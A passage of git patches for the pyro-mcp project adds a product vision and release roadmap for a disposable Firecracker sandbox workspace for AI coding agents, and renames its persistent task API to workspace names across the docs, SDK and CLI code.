from the README landing path and persistent task section so the distinction is visible to new users. Keep the proposed workspace and shell primitives explicitly illustrative so the vision sharpens direction without silently changing the current public contract. --- README.md | 6 ++ docs/vision.md | 201 +++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 207 insertions(+) create mode 100644 docs/vision.md diff --git a/README.md b/README.md index 2057f42..44c02a4 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,7 @@ It exposes the same runtime in three public forms: ## Start Here - Install: [docs/install.md](docs/install.md) +- Vision: [docs/vision.md](docs/vision.md) - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) @@ -198,6 +199,11 @@ The walkthrough GIF above was rendered from [docs/assets/first-run.tape](docs/as Use `pyro run` for one-shot commands. Use `pyro task ...` when you need repeated commands in one workspace without recreating the sandbox every time. +The project direction is an agent workspace, not a CI job runner. Persistent +tasks are meant to let an agent stay inside one bounded sandbox across multiple +steps. See [docs/vision.md](docs/vision.md) for the product thesis and the +longer-term interaction model. + ```bash pyro task create debian:12 --source-path ./repo pyro task sync push TASK_ID ./changes --dest src diff --git a/docs/vision.md b/docs/vision.md new file mode 100644 index 0000000..93a4d33 --- /dev/null +++ b/docs/vision.md @@ -0,0 +1,201 @@ +# Vision + +`pyro-mcp` should become the disposable sandbox where an agent can do real +development work safely, repeatedly, and reproducibly. + +That is a different product from a generic VM wrapper, a secure CI runner, or a +task queue with better isolation. + +## Core Thesis + +The goal is not just to run one command in a microVM. + +The goal is to give an LLM or coding agent a bounded workspace where it can: + +- inspect a repo +- install dependencies +- edit files +- run tests +- start and inspect services +- reset and retry +- export patches and artifacts +- destroy the sandbox when the task is done + +The sandbox is the execution boundary for agentic software work. + +## What This Is Not + +`pyro-mcp` should not drift into: + +- a YAML pipeline system +- a build farm +- a generic CI job runner +- a scheduler or queueing platform +- a broad VM orchestration product + +Those products optimize for queued work, throughput, retries, matrix builds, and +shared infrastructure. + +`pyro-mcp` should optimize for agent loops: + +- explore +- edit +- test +- observe +- reset +- export + +## Why This Can Look Like CI + +Any sandbox product starts to look like CI if the main abstraction is: + +- submit a command +- wait +- collect logs +- fetch artifacts + +That shape is useful, but it is not the center of the vision. + +To stay aligned, the primary abstraction should be a workspace the agent +inhabits, not a job the agent submits. + +## Product Principles + +### Workspace-First + +The default mental model should be "open a disposable workspace" rather than +"enqueue a task". + +### Stateful Interaction + +The product should support repeated interaction in one sandbox. One-shot command +execution matters, but it is the entry point, not the destination. + +### Explicit Host Crossing + +Anything that crosses the host boundary should be intentional and visible: + +- seeding a workspace +- syncing changes in +- exporting artifacts out +- granting secrets or network access + +### Reset Over Repair + +Agents should be able to checkpoint, reset, and retry cheaply. Disposable state +is a feature, not a limitation. + +### Same Contract Across Surfaces + +CLI, Python, and MCP should expose the same underlying workspace model so the +product feels coherent no matter how it is consumed. + +### Agent-Native Observability + +The sandbox should expose the things an agent actually needs to reason about: + +- command output +- file diffs +- service status +- logs +- readiness +- exported results + +## The Shape Of An LLM-First Sandbox + +The strongest future direction is a small, agent-native contract built around +workspaces, shells, files, services, and reset. + +Representative primitives: + +- `workspace.create` +- `workspace.status` +- `workspace.delete` +- `workspace.sync_push` +- `workspace.export` +- `workspace.diff` +- `workspace.snapshot` +- `workspace.reset` +- `shell.open` +- `shell.read` +- `shell.write` +- `shell.signal` +- `shell.close` +- `workspace.exec` +- `service.start` +- `service.status` +- `service.logs` +- `service.stop` + +These names are illustrative, not a committed public API. + +The important point is the interaction model: + +- a shell session is interactive state inside the sandbox +- a workspace is durable for the life of the task +- services are first-class, not accidental background jobs +- reset is a core workflow primitive + +## Interactive Shells And Disk Operations + +Interactive shells are aligned with the vision because they make the agent feel +present inside the sandbox rather than reduced to one-shot job submission. + +That does not mean `pyro-mcp` should become a raw SSH replacement. The shell +should sit inside a higher-level workspace model with structured file, service, +diff, and reset operations around it. + +Disk-level operations are also useful, but they should remain supporting tools. +They are good for: + +- fast workspace seeding +- snapshotting +- offline inspection +- diffing +- export/import without a full boot + +They should not become the primary product identity. If the center of the +product becomes "operate on VM disks", it will read as image tooling rather +than an agent workspace. + +## What To Build Next + +Features should be prioritized in this order: + +1. Repeated commands in one persistent workspace +2. Interactive shell sessions with PTY semantics +3. Structured workspace sync and export +4. Service lifecycle and readiness checks +5. Snapshot and reset workflows +6. Explicit secrets and network policy +7. Secondary disk-level import/export and inspection tools + +## Naming Guidance + +Prefer language that reinforces the workspace model: + +- `workspace` +- `sandbox` +- `shell` +- `service` +- `snapshot` +- `reset` + +Avoid centering language that makes the product feel like CI infrastructure: + +- `job` +- `runner` +- `pipeline` +- `worker` +- `queue` +- `build matrix` + +## Litmus Test + +When evaluating a new feature, ask: + +"Does this help an agent inhabit a safe disposable workspace and do real +software work inside it?" + +If the better description is "it helps submit, schedule, and report jobs", the +feature is probably pushing the product in the wrong direction. From f57454bcb46728aa5dd9295b3a3248000cafc189 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 01:21:26 -0300 Subject: [PATCH 14/49] Add workspace-first roadmap milestones Break the updated workspace vision into a checked-in roadmap from 2.4.0 through 3.1.0 so later implementation can be driven milestone by milestone. Link the roadmap from the vision doc and keep each release slice scoped to one product capability, from the workspace contract pivot through shells, export/diff, services, snapshots, secrets, networking, and GA promotion. This is a docs-only planning scaffold; runtime behavior stays unchanged in this commit. --- docs/roadmap/task-workspace-ga.md | 47 +++++++++++++ ...etwork-policy-and-host-port-publication.md | 43 ++++++++++++ .../2.4.0-workspace-contract-pivot.md | 70 +++++++++++++++++++ .../2.5.0-pty-shell-sessions.md | 63 +++++++++++++++++ ...6.0-structured-export-and-baseline-diff.md | 47 +++++++++++++ ...0-service-lifecycle-and-typed-readiness.md | 50 +++++++++++++ .../2.8.0-named-snapshots-and-reset.md | 42 +++++++++++ .../task-workspace-ga/2.9.0-secrets.md | 41 +++++++++++ .../3.0.0-stable-workspace-product.md | 37 ++++++++++ .../3.1.0-secondary-disk-tools.md | 41 +++++++++++ docs/vision.md | 3 + 11 files changed, 484 insertions(+) create mode 100644 docs/roadmap/task-workspace-ga.md create mode 100644 docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md create mode 100644 docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md create mode 100644 docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md create mode 100644 docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md create mode 100644 docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md create mode 100644 docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md create mode 100644 docs/roadmap/task-workspace-ga/2.9.0-secrets.md create mode 100644 docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md create mode 100644 docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md new file mode 100644 index 0000000..00cd1f0 --- /dev/null +++ b/docs/roadmap/task-workspace-ga.md @@ -0,0 +1,47 @@ +# Task Workspace GA Roadmap + +This roadmap turns the agent-workspace vision into release-sized milestones. + +Current baseline is `2.4.0`: + +- workspace persistence exists and the public surface is now workspace-first +- host crossing currently covers create-time seeding and later sync push +- no shell, export, diff, service, snapshot, reset, or secrets contract exists yet + +Locked roadmap decisions: + +- no backward compatibility goal for the current `task_*` naming +- workspace-first naming lands first, before later features +- snapshots are real named snapshots, not only reset-to-baseline + +Every milestone below must update CLI, SDK, and MCP together. Each milestone is +also expected to update: + +- `README.md` +- install/first-run docs +- `docs/public-contract.md` +- help text and runnable examples +- at least one real Firecracker smoke scenario + +## Milestones + +1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) +2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) +3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) +4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) +5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) +6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) +7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) +8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) +9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) + +## Definition Of Done For The Roadmap + +The workspace product is ready to leave beta when: + +- the public contract is workspace-first rather than task-first +- an agent can inhabit a sandbox through shell, exec, service, diff, export, + snapshot, reset, and explicit host-crossing operations +- the main docs lead with the workspace product, not one-shot VM execution +- the remaining deliberate deferrals are secondary disk tools rather than core + workspace features diff --git a/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md b/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md new file mode 100644 index 0000000..20256d5 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md @@ -0,0 +1,43 @@ +# `2.10.0` Network Policy And Host Port Publication + +## Goal + +Replace the coarse current network toggle with an explicit workspace network +policy and make services host-probeable through controlled published ports. + +## Public API Changes + +- `workspace create` gains explicit network policy instead of a simple boolean +- `workspace service start` gains published-port configuration +- `workspace service status/list` returns published-port information + +Recommended policy model: + +- `off` +- `egress` +- `egress+published-ports` + +## Implementation Boundaries + +- Host port publication is localhost-only by default. +- Ports remain attached to services, not generic VM networking. +- Published-port details are queryable from CLI, SDK, and MCP. +- Keep network access explicit and visible in the workspace spec. + +## Non-Goals + +- no remote exposure defaults +- no advanced ingress routing +- no general-purpose networking product surface + +## Acceptance Scenarios + +- start a service, wait for readiness, probe it from the host, inspect logs, + then stop it +- keep a workspace fully offline and confirm no implicit network access exists + +## Required Repo Updates + +- docs that show app validation from the host side +- examples that use typed readiness plus localhost probing +- real Firecracker smoke for published-port probing diff --git a/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md b/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md new file mode 100644 index 0000000..8113545 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md @@ -0,0 +1,70 @@ +# `2.4.0` Workspace Contract Pivot + +## Goal + +Make the public product read as a workspace-first sandbox instead of a +task-flavored alpha by replacing the `task_*` surface with `workspace_*`. + +## Public API Changes + +- CLI: + - `pyro workspace create` + - `pyro workspace sync push` + - `pyro workspace exec` + - `pyro workspace status` + - `pyro workspace logs` + - `pyro workspace delete` +- SDK: + - `create_workspace` + - `sync_push_workspace` + - `exec_workspace` + - `status_workspace` + - `logs_workspace` + - `delete_workspace` +- MCP: + - `workspace_create` + - `workspace_sync_push` + - `workspace_exec` + - `workspace_status` + - `workspace_logs` + - `workspace_delete` + +Field renames: + +- `task_id` -> `workspace_id` +- `source_path` on create -> `seed_path` +- `task.json` / `tasks/` -> `workspace.json` / `workspaces/` + +No compatibility aliases. Remove `task_*` from the public contract in the same +release. + +## Implementation Boundaries + +- Keep current behavior intact under the new names: + - persistent workspace creation + - create-time seed + - sync push + - exec/status/logs/delete +- Rename public result payloads and CLI help text to workspace language. +- Move on-disk persisted records to `workspaces/` and update rehydration logic + accordingly. +- Update examples, docs, and tests to stop using task terminology. + +## Non-Goals + +- no shell sessions yet +- no export, diff, services, snapshots, reset, or secrets in this release +- no attempt to preserve old CLI/SDK/MCP names + +## Acceptance Scenarios + +- create a seeded workspace, sync host changes into it, exec inside it, inspect + status/logs, then delete it +- the same flow works from CLI, SDK, and MCP with only workspace-first names +- one-shot `pyro run` remains unchanged + +## Required Repo Updates + +- replace task language in README/install/first-run/public contract/help +- update runnable examples to use `workspace_*` +- add one real Firecracker smoke for create -> sync push -> exec -> delete diff --git a/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md b/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md new file mode 100644 index 0000000..ccd3a30 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md @@ -0,0 +1,63 @@ +# `2.5.0` PTY Shell Sessions + +## Goal + +Add persistent interactive shells so an agent can inhabit a workspace instead +of only submitting one-shot `workspace exec` calls. + +## Public API Changes + +- CLI: + - `pyro workspace shell open` + - `pyro workspace shell read` + - `pyro workspace shell write` + - `pyro workspace shell signal` + - `pyro workspace shell close` +- SDK: + - `open_shell` + - `read_shell` + - `write_shell` + - `signal_shell` + - `close_shell` +- MCP: + - `shell_open` + - `shell_read` + - `shell_write` + - `shell_signal` + - `shell_close` + +Core shell identity: + +- `workspace_id` +- `shell_id` +- PTY size +- working directory +- running/stopped state + +## Implementation Boundaries + +- Shells are persistent PTY sessions attached to one workspace. +- Output buffering is append-only with cursor-based reads so callers can poll + incrementally. +- Shell sessions survive separate CLI/SDK/MCP calls and are cleaned up by + `workspace delete`. +- Keep `workspace exec` as the non-interactive path; do not merge the two + models. + +## Non-Goals + +- no terminal UI beyond structured shell I/O +- no service lifecycle changes in this milestone +- no export/diff/snapshot/reset changes yet + +## Acceptance Scenarios + +- open a shell, write commands, read output in chunks, send SIGINT, then close +- reopen a new shell in the same workspace after closing the first one +- delete a workspace with an open shell and confirm the shell is cleaned up + +## Required Repo Updates + +- shell-focused example in CLI, SDK, and MCP docs +- help text that explains shell vs exec clearly +- real Firecracker smoke for open -> write -> read -> signal -> close diff --git a/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md b/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md new file mode 100644 index 0000000..9a51d55 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md @@ -0,0 +1,47 @@ +# `2.6.0` Structured Export And Baseline Diff + +## Goal + +Complete the next explicit host-crossing step by letting a workspace export +files back to the host and diff itself against its immutable create-time +baseline. + +## Public API Changes + +- CLI: + - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` + - `pyro workspace diff WORKSPACE_ID` +- SDK: + - `export_workspace` + - `diff_workspace` +- MCP: + - `workspace_export` + - `workspace_diff` + +## Implementation Boundaries + +- Capture a baseline snapshot at `workspace create`. +- `workspace diff` compares current `/workspace` against that baseline. +- `workspace export` exports files or directories only from paths under + `/workspace`. +- Keep output structured: + - unified patch text for text files + - summary entries for binary or type changes + +## Non-Goals + +- no named snapshots yet +- no reset yet +- no export outside `/workspace` + +## Acceptance Scenarios + +- seed workspace, mutate files, diff against baseline, export a file to host +- sync push content after create, then confirm diff reports the synced changes +- unchanged workspace returns an empty diff summary cleanly + +## Required Repo Updates + +- docs that distinguish seed, sync push, diff, and export +- example showing reproduce -> mutate -> diff -> export +- real Firecracker smoke for diff and export diff --git a/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md b/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md new file mode 100644 index 0000000..d606401 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md @@ -0,0 +1,50 @@ +# `2.7.0` Service Lifecycle And Typed Readiness + +## Goal + +Make app-style workspaces practical by adding first-class services and typed +readiness checks. + +## Public API Changes + +- CLI: + - `pyro workspace service start` + - `pyro workspace service list` + - `pyro workspace service status` + - `pyro workspace service logs` + - `pyro workspace service stop` +- SDK/MCP mirror the same shape + +Readiness types: + +- file +- TCP +- HTTP +- command as an escape hatch + +## Implementation Boundaries + +- Support multiple named services per workspace from the first release. +- Service state and logs live outside `/workspace`. +- `workspace status` stays aggregate; detailed service inspection lives under + `workspace service ...`. +- Prefer typed readiness in docs/examples instead of shell-heavy readiness + commands. + +## Non-Goals + +- no host-visible port publication yet +- no secrets or auth wiring in this milestone +- no shell/service unification + +## Acceptance Scenarios + +- start two services in one workspace, wait for readiness, inspect logs and + status, then stop them cleanly +- service files do not appear in `workspace diff` or `workspace export` + +## Required Repo Updates + +- cold-start validation example that uses services +- CLI help/examples for typed readiness +- real Firecracker smoke for multi-service start/status/logs/stop diff --git a/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md b/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md new file mode 100644 index 0000000..0a0ec16 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md @@ -0,0 +1,42 @@ +# `2.8.0` Named Snapshots And Reset + +## Goal + +Turn reset into a first-class workflow primitive and add explicit named +snapshots, not only the implicit create-time baseline. + +## Public API Changes + +- CLI: + - `pyro workspace snapshot create` + - `pyro workspace snapshot list` + - `pyro workspace snapshot delete` + - `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_ID|baseline]` +- SDK/MCP mirrors + +## Implementation Boundaries + +- Baseline snapshot is created automatically at workspace creation. +- Named snapshots are explicit user-created checkpoints. +- `workspace reset` recreates the full sandbox, not just `/workspace`. +- Reset may target either the baseline or a named snapshot. + +## Non-Goals + +- no secrets in this milestone +- no live host-sharing or mount semantics +- no branching/merge workflow on snapshots + +## Acceptance Scenarios + +- mutate workspace, create named snapshot, mutate again, reset to snapshot, + confirm state restoration +- mutate service and `/tmp` state, reset to baseline, confirm full sandbox + recreation +- diff after reset is clean when expected + +## Required Repo Updates + +- docs that teach reset over repair explicitly +- example showing baseline reset and named snapshot reset +- real Firecracker smoke for snapshot create -> mutate -> reset diff --git a/docs/roadmap/task-workspace-ga/2.9.0-secrets.md b/docs/roadmap/task-workspace-ga/2.9.0-secrets.md new file mode 100644 index 0000000..efb6c62 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.9.0-secrets.md @@ -0,0 +1,41 @@ +# `2.9.0` Secrets + +## Goal + +Add explicit secrets so workspaces can handle private dependencies, +authenticated startup, and secret-aware shell or exec flows without weakening +the fail-closed sandbox model. + +## Public API Changes + +- `workspace create` gains secrets +- `workspace exec`, `workspace shell open`, and `workspace service start` gain + per-call secret-to-env mapping +- SDK and MCP mirror the same model + +## Implementation Boundaries + +- Support literal secrets and host-file-backed secrets. +- Materialize secrets outside `/workspace`. +- Secret values never appear in status, logs, diffs, or exports. +- Reset recreates secrets from persisted secret material, not from the original + host source path. + +## Non-Goals + +- no post-create secret editing +- no secret listing beyond safe metadata +- no mount-based secret transport + +## Acceptance Scenarios + +- create a workspace with a literal secret and a file-backed secret +- run exec and shell flows with mapped env vars +- start a service that depends on a secret-backed readiness path +- confirm redaction in command, shell, and service output + +## Required Repo Updates + +- docs for private dependency workflows +- explicit redaction tests +- real Firecracker smoke for secret-backed exec or service start diff --git a/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md b/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md new file mode 100644 index 0000000..44a9de7 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md @@ -0,0 +1,37 @@ +# `3.0.0` Stable Workspace Product + +## Goal + +Freeze the workspace-first public contract and promote the product from a +one-shot runner with extras to a stable agent workspace. + +## Public API Changes + +No new capability is required in this milestone. The main change is stability: + +- workspace-first names are the only public contract +- shell, sync, export, diff, services, snapshots, reset, secrets, and network + policy are all part of the stable product surface + +## Implementation Boundaries + +- remove remaining beta/alpha language from workspace docs +- rewrite landing docs so the workspace product is first-class and `pyro run` + is the entry point rather than the center +- lock the stable contract in `docs/public-contract.md` + +## Non-Goals + +- no new secondary tooling +- no job-runner, queue, or CI abstractions + +## Acceptance Scenarios + +- all core vision workflows are documented and runnable from CLI, SDK, and MCP +- the repo no longer presents the workspace model as provisional + +## Required Repo Updates + +- top-level README repositioning around the workspace product +- stable public contract doc for `3.x` +- changelog entry that frames the workspace product as stable diff --git a/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md b/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md new file mode 100644 index 0000000..a9015db --- /dev/null +++ b/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md @@ -0,0 +1,41 @@ +# `3.1.0` Secondary Disk Tools + +## Goal + +Add the disk-level tools the vision explicitly places last, while keeping them +secondary to the workspace identity. + +## Public API Changes + +Representative additions: + +- stopped-workspace disk export/import helpers +- offline inspection helpers +- disk-oriented snapshot inspection + +Exact command names should reinforce that these are supporting tools rather than +the primary product contract. + +## Implementation Boundaries + +- keep these tools scoped to seeding, inspection, and offline workflows +- do not replace shell, exec, services, diff, export, or reset as the main + interaction model +- prefer explicit stopped-workspace or offline semantics + +## Non-Goals + +- no drift into generic image tooling identity +- no replacement of workspace-level host crossing + +## Acceptance Scenarios + +- inspect or export a stopped workspace disk for offline analysis +- import or snapshot content through disk-level tools without changing the main + workspace workflow + +## Required Repo Updates + +- docs that clearly mark disk tools as secondary +- examples that show when disk tools are faster than a full boot +- real smoke coverage for at least one offline inspection flow diff --git a/docs/vision.md b/docs/vision.md index 93a4d33..41a6600 100644 --- a/docs/vision.md +++ b/docs/vision.md @@ -170,6 +170,9 @@ Features should be prioritized in this order: 6. Explicit secrets and network policy 7. Secondary disk-level import/export and inspection tools +The implementation roadmap that turns those priorities into release-sized +milestones lives in [roadmap/task-workspace-ga.md](roadmap/task-workspace-ga.md). + ## Naming Guidance Prefer language that reinforces the workspace model: From 48b82d83862b430896478ef77e26ee50d2142f3b Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 01:21:49 -0300 Subject: [PATCH 15/49] Pivot persistent APIs to workspaces Replace the public persistent-sandbox contract with workspace-first naming across CLI, SDK, MCP, payloads, and on-disk state. Rename the task surface to workspace equivalents, switch create-time seeding to `seed_path`, and store records under `workspaces//workspace.json` without carrying legacy task aliases or migrating old local task state. Keep `pyro run` and `vm_*` unchanged. Validation covered `uv lock`, focused public-contract/API/CLI/manager tests, `UV_CACHE_DIR=.uv-cache make check`, and `UV_CACHE_DIR=.uv-cache make dist-check`. --- CHANGELOG.md | 9 + pyproject.toml | 4 +- src/pyro_mcp/api.py | 88 ++++--- src/pyro_mcp/cli.py | 276 ++++++++++---------- src/pyro_mcp/contract.py | 36 +-- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 430 +++++++++++++++++--------------- tests/test_api.py | 22 +- tests/test_cli.py | 232 +++++++++-------- tests/test_public_contract.py | 39 +-- tests/test_server.py | 30 ++- tests/test_vm_manager.py | 191 +++++++------- uv.lock | 2 +- 13 files changed, 743 insertions(+), 618 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d04ff5f..5311308 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,15 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.4.0 + +- Replaced the public persistent-workspace surface from `task_*` to `workspace_*` across the CLI, + Python SDK, and MCP server in one clean cut with no compatibility aliases. +- Renamed create-time seeding from `source_path` to `seed_path` for workspace creation while keeping + later `workspace sync push` imports on `source_path`. +- Switched persisted local records from `tasks/*/task.json` to `workspaces/*/workspace.json` and + updated the main docs/examples to the workspace-first language. + ## 2.3.0 - Added `task sync push` across the CLI, Python SDK, and MCP server so started task workspaces can diff --git a/pyproject.toml b/pyproject.toml index bf779b2..05d4be3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,7 +1,7 @@ [project] name = "pyro-mcp" -version = "2.3.0" -description = "Curated Linux environments for ephemeral Firecracker-backed VM execution." +version = "2.4.0" +description = "Ephemeral Firecracker sandboxes with curated environments, persistent workspaces, and MCP tools." readme = "README.md" license = { file = "LICENSE" } authors = [ diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 18d2ff3..ac8c0bf 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -77,7 +77,7 @@ class Pyro: def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int = 30) -> dict[str, Any]: return self._manager.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) - def create_task( + def create_workspace( self, *, environment: str, @@ -86,44 +86,52 @@ class Pyro: ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - source_path: str | Path | None = None, + seed_path: str | Path | None = None, ) -> dict[str, Any]: - return self._manager.create_task( + return self._manager.create_workspace( environment=environment, vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, allow_host_compat=allow_host_compat, - source_path=source_path, + seed_path=seed_path, ) - def exec_task( + def exec_workspace( self, - task_id: str, + workspace_id: str, *, command: str, timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, ) -> dict[str, Any]: - return self._manager.exec_task(task_id, command=command, timeout_seconds=timeout_seconds) + return self._manager.exec_workspace( + workspace_id, + command=command, + timeout_seconds=timeout_seconds, + ) - def status_task(self, task_id: str) -> dict[str, Any]: - return self._manager.status_task(task_id) + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.status_workspace(workspace_id) - def push_task_sync( + def push_workspace_sync( self, - task_id: str, + workspace_id: str, source_path: str | Path, *, dest: str = "/workspace", ) -> dict[str, Any]: - return self._manager.push_task_sync(task_id, source_path=source_path, dest=dest) + return self._manager.push_workspace_sync( + workspace_id, + source_path=source_path, + dest=dest, + ) - def logs_task(self, task_id: str) -> dict[str, Any]: - return self._manager.logs_task(task_id) + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.logs_workspace(workspace_id) - def delete_task(self, task_id: str) -> dict[str, Any]: - return self._manager.delete_task(task_id) + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.delete_workspace(workspace_id) def stop_vm(self, vm_id: str) -> dict[str, Any]: return self._manager.stop_vm(vm_id) @@ -249,57 +257,61 @@ class Pyro: return self.reap_expired() @server.tool() - async def task_create( + async def workspace_create( environment: str, vcpu_count: int = DEFAULT_VCPU_COUNT, mem_mib: int = DEFAULT_MEM_MIB, ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - source_path: str | None = None, + seed_path: str | None = None, ) -> dict[str, Any]: - """Create and start a persistent task workspace.""" - return self.create_task( + """Create and start a persistent workspace.""" + return self.create_workspace( environment=environment, vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, allow_host_compat=allow_host_compat, - source_path=source_path, + seed_path=seed_path, ) @server.tool() - async def task_exec( - task_id: str, + async def workspace_exec( + workspace_id: str, command: str, timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, ) -> dict[str, Any]: - """Run one command inside an existing task workspace.""" - return self.exec_task(task_id, command=command, timeout_seconds=timeout_seconds) + """Run one command inside an existing persistent workspace.""" + return self.exec_workspace( + workspace_id, + command=command, + timeout_seconds=timeout_seconds, + ) @server.tool() - async def task_sync_push( - task_id: str, + async def workspace_sync_push( + workspace_id: str, source_path: str, dest: str = "/workspace", ) -> dict[str, Any]: - """Push host content into the persistent workspace of a started task.""" - return self.push_task_sync(task_id, source_path=source_path, dest=dest) + """Push host content into the persistent `/workspace` of a started workspace.""" + return self.push_workspace_sync(workspace_id, source_path=source_path, dest=dest) @server.tool() - async def task_status(task_id: str) -> dict[str, Any]: - """Inspect task state and latest command metadata.""" - return self.status_task(task_id) + async def workspace_status(workspace_id: str) -> dict[str, Any]: + """Inspect workspace state and latest command metadata.""" + return self.status_workspace(workspace_id) @server.tool() - async def task_logs(task_id: str) -> dict[str, Any]: - """Return persisted command history for one task.""" - return self.logs_task(task_id) + async def workspace_logs(workspace_id: str) -> dict[str, Any]: + """Return persisted command history for one workspace.""" + return self.logs_workspace(workspace_id) @server.tool() - async def task_delete(task_id: str) -> dict[str, Any]: - """Delete a task workspace and its backing sandbox.""" - return self.delete_task(task_id) + async def workspace_delete(workspace_id: str) -> dict[str, Any]: + """Delete a persistent workspace and its backing sandbox.""" + return self.delete_workspace(workspace_id) return server diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index a58af1c..3fd4eaf 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -18,7 +18,7 @@ from pyro_mcp.vm_environments import DEFAULT_CATALOG_VERSION from pyro_mcp.vm_manager import ( DEFAULT_MEM_MIB, DEFAULT_VCPU_COUNT, - TASK_WORKSPACE_GUEST_PATH, + WORKSPACE_GUEST_PATH, ) @@ -151,17 +151,17 @@ def _print_doctor_human(payload: dict[str, Any]) -> None: print(f"- {issue}") -def _print_task_summary_human(payload: dict[str, Any], *, action: str) -> None: - print(f"{action}: {str(payload.get('task_id', 'unknown'))}") +def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> None: + print(f"{action} ID: {str(payload.get('workspace_id', 'unknown'))}") print(f"Environment: {str(payload.get('environment', 'unknown'))}") print(f"State: {str(payload.get('state', 'unknown'))}") print(f"Workspace: {str(payload.get('workspace_path', '/workspace'))}") workspace_seed = payload.get("workspace_seed") if isinstance(workspace_seed, dict): mode = str(workspace_seed.get("mode", "empty")) - source_path = workspace_seed.get("source_path") - if isinstance(source_path, str) and source_path != "": - print(f"Workspace seed: {mode} from {source_path}") + seed_path = workspace_seed.get("seed_path") + if isinstance(seed_path, str) and seed_path != "": + print(f"Workspace seed: {mode} from {seed_path}") else: print(f"Workspace seed: {mode}") print(f"Execution mode: {str(payload.get('execution_mode', 'pending'))}") @@ 